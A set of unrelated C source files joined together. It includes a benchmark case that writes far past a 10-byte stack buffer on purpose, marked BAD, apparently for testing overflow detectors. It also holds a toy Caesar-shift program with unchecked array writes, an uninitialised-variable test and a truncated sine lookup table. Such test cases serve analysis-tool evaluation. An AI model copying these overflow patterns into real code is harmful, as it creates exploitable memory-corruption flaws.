for (i=1;i<=n;i++) { /* Loop label: i=1. */
a[i] = i ; /* Array labels: a=1, i=2. */
for (j=1;j<=m;j++) /* Loop label: j=2. */
b[j] = b[j] + a[i] ; /* Array labels: b=3, a=1. */
}
#pragma endscop
}
|
the_stack_data/265217.c
|
/* Taxonomy Classification: 0000000000004000000300 */
/*
* WRITE/READ 0 write
* WHICH BOUND 0 upper
* DATA TYPE 0 char
* MEMORY LOCATION 0 stack
* SCOPE 0 same
* CONTAINER 0 no
* POINTER 0 no
* INDEX COMPLEXITY 0 constant
* ADDRESS COMPLEXITY 0 constant
* LENGTH COMPLEXITY 0 N/A
* ADDRESS ALIAS 0 none
* INDEX ALIAS 0 none
* LOCAL CONTROL FLOW 4 goto/label
* SECONDARY CONTROL FLOW 0 none
* LOOP STRUCTURE 0 no
* LOOP COMPLEXITY 0 N/A
* ASYNCHRONY 0 no
* TAINT 0 no
* RUNTIME ENV. DEPENDENCE 0 no
* MAGNITUDE 3 4096 bytes
* CONTINUOUS/DISCRETE 0 discrete
* SIGNEDNESS 0 no
*/
/*
Copyright 2005 Massachusetts Institute of Technology
All rights reserved.
Redistribution and use of software in source and binary forms, with or without
modification, are permitted provided that the following conditions are met.
- Redistributions of source code must retain the above copyright notice,
this set of conditions and the disclaimer below.
- Redistributions in binary form must reproduce the copyright notice, this
set of conditions, and the disclaimer below in the documentation and/or
other materials provided with the distribution.
- Neither the name of the Massachusetts Institute of Technology nor the
names of its contributors may be used to endorse or promote products
derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS".
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED.
IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
int main(int argc, char *argv[])
{
char buf[10];
goto label1;
return 0;
label1:
/* BAD */
buf[4105] = 'A';
return 0;
}
|
the_stack_data/24581.c
|
#include <stdio.h>
int main()
{
char array[100], cipher[100];
int c=0, x=0, y=0;
int z;
printf("This Program will encrypt according to your needs\n");
printf("Enter the cipher key\n");
scanf("%d",&z);
printf("Enter the sentence");
while((c=getchar()) != '\n')
{
array[x++]=(char)c;
cipher[y++]=(char)(c+z);
}
array[x]=0;
cipher[y]=0;
printf("%s\n",cipher);
return 0;
}
|
the_stack_data/231393570.c
|
#include <stdio.h>
int testNodes()
{
int i,j;
if (i > j)
{
printf("i = %d", i);
}
return 0;
}
|
the_stack_data/1093182.c
|
/* sincos.c - sin and cosing lookup tables and functions... */
/*
* Copyright (c) 1992, 1993, John E. Stone - [email protected]
* All rights reserved.
*
* For questions comments: email to [email protected]
*
* U.S. Mail to: John E. Stone
* 1701 N. Pine Apt 8
* Rolla MO, 65401
*
*/
#define PI 6434
#define TPI 12868
#define HPI 3217
int sintable[(PI+1)]={
0, 0x1, 0x3, 0x5, 0x7, 0x9, 0xb, 0xd, 0xf,
0x11, 0x13, 0x15, 0x17, 0x19, 0x1b, 0x1d, 0x1f, 0x21,
0x23, 0x25, 0x27, 0x29, 0x2b, 0x2d, 0x2f, 0x31, 0x33,
0x35, 0x37, 0x39, 0x3b, 0x3d, 0x3f, 0x41, 0x43, 0x45,
0x47, 0x49, 0x4b, 0x4d, 0x4f, 0x51, 0x53, 0x55, 0x57,
0x59, 0x5b, 0x5d, 0x5f, 0x61, 0x63, 0x65, 0x67, 0x69,
0x6b, 0x6d, 0x6f, 0x71, 0x73, 0x75, 0x77, 0x79, 0x7b,
0x7d, 0x7f, 0x81, 0x83, 0x85, 0x87, 0x89, 0x8b, 0x8d,
0x8f, 0x91, 0x93, 0x95, 0x97, 0x99, 0x9b, 0x9d, 0x9f,
0xa1, 0xa3, 0xa5, 0xa7, 0xa9, 0xab, 0xad, 0xaf, 0xb1,
0xb3, 0xb5, 0xb7, 0xb9, 0xbb, 0xbd, 0xbf, 0xc1, 0xc3,
0xc5, 0xc7, 0xc9, 0xcb, 0xcd, 0xcf, 0xd1, 0xd3, 0xd5,
0xd7, 0xd9, 0xdb, 0xdd, 0xdf, 0xe1, 0xe3, 0xe5, 0xe7,
0xe9, 0xeb, 0xed, 0xef, 0xf1, 0xf3, 0xf5, 0xf7, 0xf9,
0xfb, 0xfd, 0xff, 0x101, 0x103, 0x105, 0x107, 0x109, 0x10b,
0x10d, 0x10f, 0x111, 0x113, 0x115, 0x117, 0x119, 0x11b, 0x11d,
0x11f, 0x121, 0x123, 0x125, 0x127, 0x129, 0x12b, 0x12d, 0x12f,
0x131, 0x133, 0x135, 0x137, 0x139, 0x13b, 0x13d, 0x13f, 0x141,
0x143, 0x145, 0x147, 0x149, 0x14b, 0x14d, 0x14f, 0x151, 0x153,
0x155, 0x157, 0x159, 0x15b, 0x15d, 0x15f, 0x161, 0x163, 0x165,
0x167, 0x169, 0x16b, 0x16d, 0x16f, 0x171, 0x173, 0x175, 0x177,
0x179, 0x17b, 0x17d, 0x17f, 0x181, 0x183, 0x185, 0x187, 0x189,
0x18b, 0x18d, 0x18f, 0x191, 0x193, 0x195, 0x197, 0x199, 0x19b,
0x19d, 0x19f, 0x1a1, 0x1a3, 0x1a5, 0x1a7, 0x1a9, 0x1ab, 0x1ad,
0x1af, 0x1b1, 0x1b3, 0x1b5, 0x1b7, 0x1b9, 0x1bb, 0x1bd, 0x1bf,
0x1c1, 0x1c3, 0x1c5, 0x1c7, 0x1c9, 0x1cb, 0x1cd, 0x1cf, 0x1d0,
0x1d2, 0x1d4, 0x1d6, 0x1d8, 0x1da, 0x1dc, 0x1de, 0x1e0, 0x1e2,
0x1e4, 0x1e6, 0x1e8, 0x1ea, 0x1ec, 0x1ee, 0x1f0, 0x1f2, 0x1f4,
0x1f6, 0x1f8, 0x1fa, 0x1fc, 0x1fe, 0x200, 0x202, 0x204, 0x206,
0x208, 0x20a, 0x20c, 0x20e, 0x210, 0x212, 0x214, 0x216, 0x218,
0x21a, 0x21c, 0x21e, 0x220, 0x222, 0x224, 0x226, 0x228, 0x22a,
0x22c, 0x22e, 0x230, 0x232, 0x234, 0x236, 0x238, 0x23a, 0x23c,
0x23e, 0x240, 0x242, 0x244, 0x246, 0x248, 0x249, 0x24b, 0x24d,
0x24f, 0x251, 0x253, 0x255, 0x257, 0x259, 0x25b, 0x25d, 0x25f,
0x261, 0x263, 0x265, 0x267, 0x269, 0x26b, 0x26d, 0x26f, 0x271,
0x273, 0x275, 0x277, 0x279, 0x27b, 0x27d, 0x27f, 0x281, 0x283,
0x285, 0x287, 0x289, 0x28b, 0x28d, 0x28f, 0x291, 0x293, 0x295,
0x297, 0x299, 0x29b, 0x29c, 0x29e, 0x2a0, 0x2a2, 0x2a4, 0x2a6,
0x2a8, 0x2aa, 0x2ac, 0x2ae, 0x2b0, 0x2b2, 0x2b4, 0x2b6, 0x2b8,
0x2ba, 0x2bc, 0x2be, 0x2c0, 0x2c2, 0x2c4, 0x2c6, 0x2c8, 0x2ca,
0x2cc, 0x2ce, 0x2d0, 0x2d2, 0x2d4, 0x2d6, 0x2d8, 0x2da, 0x2dc,
0x2de, 0x2df, 0x2e1, 0x2e3, 0x2e5, 0x2e7, 0x2e9, 0x2eb, 0x2ed,
0x2ef, 0x2f1, 0x2f3, 0x2f5, 0x2f7, 0x2f9, 0x2fb, 0x2fd, 0x2ff,
0x301, 0x303, 0x305, 0x307, 0x309, 0x30b, 0x30d, 0x30f, 0x311,
0x313, 0x315, 0x316, 0x318, 0x31a, 0x31c, 0x31e, 0x320, 0x322,
0x324, 0x326, 0x328, 0x32a, 0x32c, 0x32e, 0x330, 0x332, 0x334,
0x336, 0x338, 0x33a, 0x33c, 0x33e, 0x340, 0x342, 0x344, 0x346,
0x347, 0x349, 0x34b, 0x34d, 0x34f, 0x351, 0x353, 0x355, 0x357,
0x359, 0x35b, 0x35d, 0x35f, 0x361, 0x363, 0x365, 0x367, 0x369,
0x36b, 0x36d, 0x36f, 0x371, 0x373, 0x374, 0x376, 0x378, 0x37a,
0x37c, 0x37e, 0x380, 0x382, 0x384, 0x386, 0x388, 0x38a, 0x38c,
0x38e, 0x390, 0x392, 0x394, 0x396, 0x398, 0x39a, 0x39b, 0x39d,
0x39f, 0x3a1, 0x3a3, 0x3a5, 0x3a7, 0x3a9, 0x3ab, 0x3ad, 0x3af,
0x3b1, 0x3b3, 0x3b5, 0x3b7, 0x3b9, 0x3bb, 0x3bd, 0x3bf, 0x3c0,
0x3c2, 0x3c4, 0x3c6, 0x3c8, 0x3ca, 0x3cc, 0x3ce, 0x3d0, 0x3d2,
0x3d4, 0x3d6, 0x3d8, 0x3da, 0x3dc, 0x3de, 0x3e0, 0x3e1, 0x3e3,
0x3e5, 0x3e7, 0x3e9, 0x3eb, 0x3ed, 0x3ef, 0x3f1, 0x3f3, 0x3f5,
0x3f7, 0x3f9, 0x3fb, 0x3fd, 0x3ff, 0x400, 0x402, 0x404, 0x406,
0x408, 0x40a, 0x40c, 0x40e, 0x410, 0x412, 0x414, 0x416, 0x418,
0x41a, 0x41c, 0x41e, 0x41f, 0x421, 0x423, 0x425, 0x427, 0x429,
0x42b, 0x42d, 0x42f, 0x431, 0x433, 0x435, 0x437, 0x439, 0x43a,
0x43c, 0x43e, 0x440, 0x442, 0x444, 0x446, 0x448, 0x44a, 0x44c,
0x44e, 0x450, 0x452, 0x454, 0x455, 0x457, 0x459, 0x45b, 0x45d,
0x45f, 0x461, 0x463, 0x465, 0x467, 0x469, 0x46b, 0x46d, 0x46e,
0x470, 0x472, 0x474, 0x476, 0x478, 0x47a, 0x47c, 0x47e, 0x480,
0x482, 0x484, 0x485, 0x487, 0x489, 0x48b, 0x48d, 0x48f, 0x491,
0x493, 0x495, 0x497, 0x499, 0x49b, 0x49c, 0x49e, 0x4a0, 0x4a2,
0x4a4, 0x4a6, 0x4a8, 0x4aa, 0x4ac, 0x4ae, 0x4b0, 0x4b2, 0x4b3,
0x4b5, 0x4b7, 0x4b9, 0x4bb, 0x4bd, 0x4bf, 0x4c1, 0x4c3, 0x4c5,
0x4c7, 0x4c8, 0x4ca, 0x4cc, 0x4ce, 0x4d0, 0x4d2, 0x4d4, 0x4d6,
0x4d8, 0x4da, 0x4dc, 0x4dd, 0x4df, 0x4e1, 0x4e3, 0x4e5, 0x4e7,
0x4e9, 0x4eb, 0x4ed, 0x4ef, 0x4f0, 0x4f2, 0x4f4, 0x4f6, 0x4f8,
0x4fa, 0x4fc, 0x4fe, 0x500, 0x502, 0x503, 0x505, 0x507, 0x509,
0x50b, 0x50d, 0x50f, 0x511, 0x513, 0x515, 0x516, 0x518, 0x51a,
0x51c, 0x51e, 0x520, 0x522, 0x524, 0x526, 0x528, 0x529, 0x52b,
0x52d, 0x52f, 0x531, 0x533, 0x535, 0x537, 0x539, 0x53a, 0x53c,
0x53e, 0x540, 0x542, 0x544, 0x546, 0x548, 0x54a, 0x54b, 0x54d,
0x54f, 0x551, 0x553, 0x555, 0x557, 0x559, 0x55b, 0x55c, 0x55e,
0x560, 0x562, 0x564, 0x566, 0x568, 0x56a, 0x56b, 0x56d, 0x56f,
0x571, 0x573, 0x575, 0x577, 0x579, 0x57b, 0x57c, 0x57e, 0x580,
0x582, 0x584, 0x586, 0x588, 0x58a, 0x58b, 0x58d, 0x58f, 0x591,
0x593, 0x595, 0x597, 0x599, 0x59a, 0x59c, 0x59e, 0x5a0, 0x5a2,
0x5a4, 0x5a6, 0x5a8, 0x5a9, 0x5ab, 0x5ad, 0x5af, 0x5b1, 0x5b3,
0x5b5, 0x5b6, 0x5b8, 0x5ba, 0x5bc, 0x5be, 0x5c0, 0x5c2, 0x5c4,
0x5c5, 0x5c7, 0x5c9, 0x5cb, 0x5cd, 0x5cf, 0x5d1, 0x5d2, 0x5d4,
0x5d6, 0x5d8, 0x5da, 0x5dc, 0x5de, 0x5df, 0x5e1, 0x5e3, 0x5e5,
0x5e7, 0x5e9, 0x5eb, 0x5ec, 0x5ee, 0x5f0, 0x5f2, 0x5f4, 0x5f6,
0x5f8, 0x5f9, 0x5fb, 0x5fd, 0x5ff, 0x601, 0x603, 0x605, 0x606,
0x608, 0x60a, 0x60c, 0x60e, 0x610, 0x612, 0x613, 0x615, 0x617,
0x619, 0x61b, 0x61d, 0x61f, 0x620, 0x622, 0x624, 0x626, 0x628,
0x62a, 0x62b, 0x62d, 0x62f, 0x631, 0x633, 0x635, 0x636, 0x638,
0x63a, 0x63c, 0x63e, 0x640, 0x642, 0x643, 0x645, 0x647, 0x649,
0x64b, 0x64d, 0x64e, 0x650, 0x652, 0x654, 0x656, 0x658, 0x659,
0x65b, 0x65d, 0x65f, 0x661, 0x663, 0x664, 0x666, 0x668, 0x66a,
0x66c, 0x66e, 0x66f, 0x671, 0x673, 0x675, 0x677, 0x679, 0x67a,
0x67c, 0x67e, 0x680, 0x682, 0x684, 0x685, 0x687, 0x689, 0x68b,
0x68d, 0x68f, 0x690, 0x692, 0x694, 0x696, 0x698, 0x699, 0x69b,
0x69d, 0x69f, 0x6a1, 0x6a3, 0x6a4, 0x6a6, 0x6a8, 0x6aa, 0x6ac,
0x6ad, 0x6af, 0x6b1, 0x6b3, 0x6b5, 0x6b7, 0x6b8, 0x6ba, 0x6bc,
0x6be, 0x6c0, 0x6c1, 0x6c3, 0x6c5, 0x6c7, 0x6c9, 0x6ca, 0x6cc,
0x6ce, 0x6d0, 0x6d2, 0x6d4, 0x6d5, 0x6d7, 0x6d9, 0x6db, 0x6dd,
0x6de, 0x6e0, 0x6e2, 0x6e4, 0x6e6, 0x6e7, 0x6e9, 0x6eb, 0x6ed,
0x6ef, 0x6f0, 0x6f2, 0x6f4, 0x6f6, 0x6f8, 0x6f9, 0x6fb, 0x6fd,
0x6ff, 0x701, 0x702, 0x704, 0x706, 0x708, 0x70a, 0x70b, 0x70d,
0x70f, 0x711, 0x713, 0x714, 0x716, 0x718, 0x71a, 0x71c, 0x71d,
0x71f, 0x721, 0x723, 0x725, 0x726, 0x728, 0x72a, 0x72c, 0x72d,
0x72f, 0x731, 0x733, 0x735, 0x736, 0x738, 0x73a, 0x73c, 0x73e,
0x73f, 0x741, 0x743, 0x745, 0x746, 0x748, 0x74a, 0x74c, 0x74e,
0x74f, 0x751, 0x753, 0x755, 0x756, 0x758, 0x75a, 0x75c, 0x75e,
0x75f, 0x761, 0x763, 0x765, 0x766, 0x768, 0x76a, 0x76c, 0x76e,
0x76f, 0x771, 0x773, 0x775, 0x776, 0x778, 0x77a, 0x77c, 0x77d,
0x77f, 0x781, 0x783, 0x784, 0x786, 0x788, 0x78a, 0x78c, 0x78d,
0x78f, 0x791, 0x793, 0x794, 0x796, 0x798, 0x79a, 0x79b, 0x79d,
0x79f, 0x7a1, 0x7a2, 0x7a4, 0x7a6, 0x7a8, 0x7a9, 0x7ab, 0x7ad,
0x7af, 0x7b0, 0x7b2, 0x7b4, 0x7b6, 0x7b7, 0x7b9, 0x7bb, 0x7bd,
0x7bf, 0x7c0, 0x7c2, 0x7c4, 0x7c5, 0x7c7, 0x7c9, 0x7cb, 0x7cc,
0x7ce, 0x7d0, 0x7d2, 0x7d3, 0x7d5, 0x7d7, 0x7d9, 0x7da, 0x7dc,
0x7de, 0x7e0, 0x7e1, 0x7e3, 0x7e5, 0x7e7, 0x7e8, 0x7ea, 0x7ec,
0x7ee, 0x7ef, 0x7f1, 0x7f3, 0x7f5, 0x7f6, 0x7f8, 0x7fa, 0x7fb,
0x7fd, 0x7ff, 0x801, 0x802, 0x804, 0x806, 0x808, 0x809, 0x80b,
0x80d, 0x80e, 0x810, 0x812, 0x814, 0x815, 0x817, 0x819, 0x81b,
0x81c, 0x81e, 0x820, 0x821, 0x823, 0x825, 0x827, 0x828, 0x82a,
0x82c, 0x82e, 0x82f, 0x831, 0x833, 0x834, 0x836, 0x838, 0x83a,
0x83b, 0x83d, 0x83f, 0x840, 0x842, 0x844, 0x846, 0x847, 0x849,
0x84b, 0x84c, 0x84e, 0x850, 0x851, 0x853, 0x855, 0x857, 0x858,
0x85a, 0x85c, 0x85d, 0x85f, 0x861, 0x863, 0x864, 0x866, 0x868,
0x869, 0x86b, 0x86d, 0x86e, 0x870, 0x872, 0x874, 0x875, 0x877,
0x879, 0x87a, 0x87c, 0x87e, 0x87f, 0x881, 0x883, 0x885, 0x886,
0x888, 0x88a, 0x88b, 0x88d, 0x88f, 0x890, 0x892, 0x894, 0x895,
0x897, 0x899, 0x89a, 0x89c, 0x89e, 0x8a0, 0x8a1, 0x8a3, 0x8a5,
0x8a6, 0x8a8, 0x8aa, 0x8ab, 0x8ad, 0x8af, 0x8b0, 0x8b2, 0x8b4,
0x8b5, 0x8b7, 0x8b9, 0x8ba, 0x8bc, 0x8be, 0x8bf, 0x8c1, 0x8c3,
0x8c4, 0x8c6, 0x8c8, 0x8c9, 0x8cb, 0x8cd, 0x8ce, 0x8d0, 0x8d2,
0x8d4, 0x8d5, 0x8d7, 0x8d9, 0x8da, 0x8dc, 0x8de, 0x8df, 0x8e1,
0x8e2, 0x8e4, 0x8e6, 0x8e7, 0x8e9, 0x8eb, 0x8ec, 0x8ee, 0x8f0,
0x8f1, 0x8f3, 0x8f5, 0x8f6, 0x8f8, 0x8fa, 0x8fb, 0x8fd, 0x8ff,
0x900, 0x902, 0x904, 0x905, 0x907, 0x909, 0x90a, 0x90c, 0x90e,
0x90f, 0x911, 0x912, 0x914, 0x916, 0x917, 0x919, 0x91b, 0x91c,
0x91e, 0x920, 0x921, 0x923, 0x925, 0x926, 0x928, 0x92a, 0x92b,
0x92d, 0x92e, 0x930, 0x932, 0x933, 0x935, 0x937, 0x938, 0x93a,
0x93c, 0x93d, 0x93f, 0x940, 0x942, 0x944, 0x945, 0x947, 0x949,
0x94a, 0x94c, 0x94d, 0x94f, 0x951, 0x952, 0x954, 0x956, 0x957,
0x959, 0x95a, 0x95c, 0x95e, 0x95f, 0x961, 0x963, 0x964, 0x966,
0x967, 0x969, 0x96b, 0x96c, 0x96e, 0x96f, 0x971, 0x973, 0x974,
0x976, 0x978, 0x979, 0x97b, 0x97c, 0x97e, 0x980, 0x981, 0x983,
0x984, 0x986, 0x988, 0x989, 0x98b, 0x98c, 0x98e, 0x990, 0x991,
0x993, 0x994, 0x996, 0x998, 0x999, 0x99b, 0x99c, 0x99e, 0x9a0,
0x9a1, 0x9a3, 0x9a4, 0x9a6, 0x9a8, 0x9a9, 0x9ab, 0x9ac, 0x9ae,
0x9b0, 0x9b1, 0x9b3, 0x9b4, 0x9b6, 0x9b8, 0x9b9, 0x9bb, 0x9bc,
0x9be, 0x9bf, 0x9c1, 0x9c3, 0x9c4, 0x9c6, 0x9c7, 0x9c9, 0x9cb,
0x9cc, 0x9ce, 0x9cf, 0x9d1, 0x9d2, 0x9d4, 0x9d6, 0x9d7, 0x9d9,
0x9da, 0x9dc, 0x9de, 0x9df, 0x9e1, 0x9e2, 0x9e4, 0x9e5, 0x9e7,
0x9e9, 0x9ea, 0x9ec, 0x9ed, 0x9ef, 0x9f0, 0x9f2, 0x9f4, 0x9f5,
0x9f7, 0x9f8, 0x9fa, 0x9fb, 0x9fd, 0x9fe, 0xa00, 0xa02, 0xa03,
0xa05, 0xa06, 0xa08, 0xa09, 0xa0b, 0xa0c, 0xa0e, 0xa10, 0xa11,
0xa13, 0xa14, 0xa16, 0xa17, 0xa19, 0xa1a, 0xa1c, 0xa1e, 0xa1f,
0xa21, 0xa22, 0xa24, 0xa25, 0xa27, 0xa28, 0xa2a, 0xa2b, 0xa2d,
0xa2f, 0xa30, 0xa32, 0xa33, 0xa35, 0xa36, 0xa38, 0xa39, 0xa3b,
0xa3c, 0xa3e, 0xa3f, 0xa41, 0xa43, 0xa44, 0xa46, 0xa47, 0xa49,
0xa4a, 0xa4c, 0xa4d, 0xa4f, 0xa50, 0xa52, 0xa53, 0xa55, 0xa56,
0xa58, 0xa5a, 0xa5b, 0xa5d, 0xa5e, 0xa60, 0xa61, 0xa63, 0xa64,
0xa66, 0xa67, 0xa69, 0xa6a, 0xa6c, 0xa6d, 0xa6f, 0xa70, 0xa72,
0xa73, 0xa75, 0xa76, 0xa78, 0xa79, 0xa7b, 0xa7c, 0xa7e, 0xa7f,
0xa81, 0xa82, 0xa84, 0xa85, 0xa87, 0xa88, 0xa8a, 0xa8b, 0xa8d,
0xa8e, 0xa90, 0xa92, 0xa93, 0xa95, 0xa96, 0xa98, 0xa99, 0xa9a,
0xa9c, 0xa9d, 0xa9f, 0xaa0, 0xaa2, 0xaa3, 0xaa5, 0xaa6, 0xaa8,
0xaa9, 0xaab, 0xaac, 0xaae, 0xaaf, 0xab1, 0xab2, 0xab4, 0xab5,
0xab7, 0xab8, 0xaba, 0xabb, 0xabd, 0xabe, 0xac0, 0xac1, 0xac3,
0xac4, 0xac6, 0xac7, 0xac9, 0xaca, 0xacc, 0xacd, 0xacf, 0xad0,
0xad1, 0xad3, 0xad4, 0xad6, 0xad7, 0xad9, 0xada, 0xadc, 0xadd,
0xadf, 0xae0, 0xae2, 0xae3, 0xae5, 0xae6, 0xae7, 0xae9, 0xaea,
0xaec, 0xaed, 0xaef, 0xaf0, 0xaf2, 0xaf3, 0xaf5, 0xaf6, 0xaf8,
0xaf9, 0xafa, 0xafc, 0xafd, 0xaff, 0xb00, 0xb02, 0xb03, 0xb05,
0xb06, 0xb08, 0xb09, 0xb0a, 0xb0c, 0xb0d, 0xb0f, 0xb10, 0xb12,
0xb13, 0xb15, 0xb16, 0xb17, 0xb19, 0xb1a, 0xb1c, 0xb1d, 0xb1f,
0xb20, 0xb21, 0xb23, 0xb24, 0xb26, 0xb27, 0xb29, 0xb2a, 0xb2c,
0xb2d, 0xb2e, 0xb30, 0xb31, 0xb33, 0xb34, 0xb36, 0xb37, 0xb38,
0xb3a, 0xb3b, 0xb3d, 0xb3e, 0xb40, 0xb41, 0xb42, 0xb44, 0xb45,
0xb47, 0xb48, 0xb49, 0xb4b, 0xb4c, 0xb4e, 0xb4f, 0xb51, 0xb52,
0xb53, 0xb55, 0xb56, 0xb58, 0xb59, 0xb5a, 0xb5c, 0xb5d, 0xb5f,
0xb60, 0xb61, 0xb63, 0xb64, 0xb66, 0xb67, 0xb68, 0xb6a, 0xb6b,
0xb6d, 0xb6e, 0xb6f, 0xb71, 0xb72, 0xb74, 0xb75, 0xb76, 0xb78,
0xb79, 0xb7b, 0xb7c, 0xb7d, 0xb7f, 0xb80, 0xb82, 0xb83, 0xb84,
0xb86, 0xb87, 0xb89, 0xb8a, 0xb8b, 0xb8d, 0xb8e, 0xb8f, 0xb91,
0xb92, 0xb94, 0xb95, 0xb96, 0xb98, 0xb99, 0xb9a, 0xb9c, 0xb9d,
0xb9f, 0xba0, 0xba1, 0xba3, 0xba4, 0xba5, 0xba7, 0xba8, 0xbaa,
0xbab, 0xbac, 0xbae, 0xbaf, 0xbb0, 0xbb2, 0xbb3, 0xbb5, 0xbb6,
0xbb7, 0xbb9, 0xbba, 0xbbb, 0xbbd, 0xbbe, 0xbbf, 0xbc1, 0xbc2,
0xbc3, 0xbc5, 0xbc6, 0xbc8, 0xbc9, 0xbca, 0xbcc, 0xbcd, 0xbce,
0xbd0, 0xbd1, 0xbd2, 0xbd4, 0xbd5, 0xbd6, 0xbd8, 0xbd9, 0xbda,
0xbdc, 0xbdd, 0xbde, 0xbe0, 0xbe1, 0xbe2, 0xbe4, 0xbe5, 0xbe6,
0xbe8, 0xbe9, 0xbea, 0xbec, 0xbed, 0xbee, 0xbf0, 0xbf1, 0xbf2,
0xbf4, 0xbf5, 0xbf6, 0xbf8, 0xbf9, 0xbfa, 0xbfc, 0xbfd, 0xbfe,
0xc00, 0xc01, 0xc02, 0xc04, 0xc05, 0xc06, 0xc08, 0xc09, 0xc0a,
0xc0c, 0xc0d, 0xc0e, 0xc10, 0xc11, 0xc12, 0xc13, 0xc15, 0xc16,
0xc17, 0xc19, 0xc1a, 0xc1b, 0xc1d, 0xc1e, 0xc1f, 0xc21, 0xc22,
0xc23, 0xc24, 0xc26, 0xc27, 0xc28, 0xc2a, 0xc2b, 0xc2c, 0xc2e,
0xc2f, 0xc30, 0xc31, 0xc33, 0xc34, 0xc35, 0xc37, 0xc38, 0xc39,
0xc3a, 0xc3c, 0xc3d, 0xc3e, 0xc40, 0xc41, 0xc42, 0xc44, 0xc45,
0xc46, 0xc47, 0xc49, 0xc4a, 0xc4b, 0xc4c, 0xc4e, 0xc4f, 0xc50,
0xc52, 0xc53, 0xc54, 0xc55, 0xc57, 0xc58, 0xc59, 0xc5a, 0xc5c,
0xc5d, 0xc5e, 0xc60, 0xc61, 0xc62, 0xc63, 0xc65, 0xc66, 0xc67,
0xc68, 0xc6a, 0xc6b, 0xc6c, 0xc6d, 0xc6f, 0xc70, 0xc71, 0xc73,
0xc74, 0xc75, 0xc76, 0xc78, 0xc79, 0xc7a, 0xc7b, 0xc7d, 0xc7e,
0xc7f, 0xc80, 0xc82, 0xc83, 0xc84, 0xc85, 0xc87, 0xc88, 0xc89,
0xc8a, 0xc8b, 0xc8d, 0xc8e, 0xc8f, 0xc90, 0xc92, 0xc93, 0xc94,
0xc95, 0xc97, 0xc98, 0xc99, 0xc9a, 0xc9c, 0xc9d, 0xc9e, 0xc9f,
0xca0, 0xca2, 0xca3, 0xca4, 0xca5, 0xca7, 0xca8, 0xca9, 0xcaa,
0xcab, 0xcad, 0xcae, 0xcaf, 0xcb0, 0xcb2, 0xcb3, 0xcb4, 0xcb5,
0xcb6, 0xcb8, 0xcb9, 0xcba, 0xcbb, 0xcbd, 0xcbe, 0xcbf, 0xcc0,
0xcc1, 0xcc3, 0xcc4, 0xcc5, 0xcc6, 0xcc7, 0xcc9, 0xcca, 0xccb,
0xccc, 0xccd, 0xccf, 0xcd0, 0xcd1, 0xcd2, 0xcd3, 0xcd5, 0xcd6,
0xcd7, 0xcd8, 0xcd9, 0xcdb, 0xcdc, 0xcdd, 0xcde, 0xcdf, 0xce0,
0xce2, 0xce3, 0xce4, 0xce5, 0xce6, 0xce8, 0xce9, 0xcea, 0xceb,
0xcec, 0xced, 0xcef, 0xcf0, 0xcf1, 0xcf2, 0xcf3, 0xcf5, 0xcf6,
0xcf7, 0xcf8, 0xcf9, 0xcfa, 0xcfc, 0xcfd, 0xcfe, 0xcff, 0xd00,
0xd01, 0xd03, 0xd04, 0xd05, 0xd06, 0xd07, 0xd08, 0xd0a, 0xd0b,
0xd0c, 0xd0d, 0xd0e, 0xd0f, 0xd10, 0xd12, 0xd13, 0xd14, 0xd15,
0xd16, 0xd17, 0xd19, 0xd1a, 0xd1b, 0xd1c, 0xd1d, 0xd1e, 0xd1f,
0xd21, 0xd22, 0xd23, 0xd24, 0xd25, 0xd26, 0xd27, 0xd29, 0xd2a,
0xd2b, 0xd2c, 0xd2d, 0xd2e, 0xd2f, 0xd30, 0xd32, 0xd33, 0xd34,
0xd35, 0xd36, 0xd37, 0xd38, 0xd39, 0xd3b, 0xd3c, 0xd3d, 0xd3e,
0xd3f, 0xd40, 0xd41, 0xd42, 0xd44, 0xd45, 0xd46, 0xd47, 0xd48,
0xd49, 0xd4a, 0xd4b, 0xd4d, 0xd4e, 0xd4f, 0xd50, 0xd51, 0xd52,
0xd53, 0xd54, 0xd55, 0xd56, 0xd58, 0xd59, 0xd5a, 0xd5b, 0xd5c,
0xd5d, 0xd5e, 0xd5f, 0xd60, 0xd61, 0xd63, 0xd64, 0xd65, 0xd66,
0xd67, 0xd68, 0xd69, 0xd6a, 0xd6b, 0xd6c, 0xd6d, 0xd6f, 0xd70,
0xd71, 0xd72, 0xd73, 0xd74, 0xd75, 0xd76, 0xd77, 0xd78, 0xd79,
0xd7a, 0xd7c, 0xd7d, 0xd7e, 0xd7f, 0xd80, 0xd81, 0xd82, 0xd83,
0xd84, 0xd85, 0xd86, 0xd87, 0xd88, 0xd89, 0xd8b, 0xd8c, 0xd8d,
0xd8e, 0xd8f, 0xd90, 0xd91, 0xd92, 0xd93, 0xd94, 0xd95, 0xd96,
0xd97, 0xd98, 0xd99, 0xd9a, 0xd9b, 0xd9d, 0xd9e, 0xd9f, 0xda0,
0xda1, 0xda2, 0xda3, 0xda4, 0xda5, 0xda6, 0xda7, 0xda8, 0xda9,
0xdaa, 0xdab, 0xdac, 0xdad, 0xdae, 0xdaf, 0xdb0, 0xdb1, 0xdb2,
0xdb3, 0xdb4, 0xdb6, 0xdb7, 0xdb8, 0xdb9, 0xdba, 0xdbb, 0xdbc,
0xdbd, 0xdbe, 0xdbf, 0xdc0, 0xdc1, 0xdc2, 0xdc3, 0xdc4, 0xdc5,
0xdc6, 0xdc7, 0xdc8, 0xdc9, 0xdca, 0xdcb, 0xdcc, 0xdcd, 0xdce,
0xdcf, 0xdd0, 0xdd1, 0xdd2, 0xdd3, 0xdd4, 0xdd5, 0xdd6, 0xdd7,
0xdd8, 0xdd9, 0xdda, 0xddb, 0xddc, 0xddd, 0xdde, 0xddf, 0xde0,
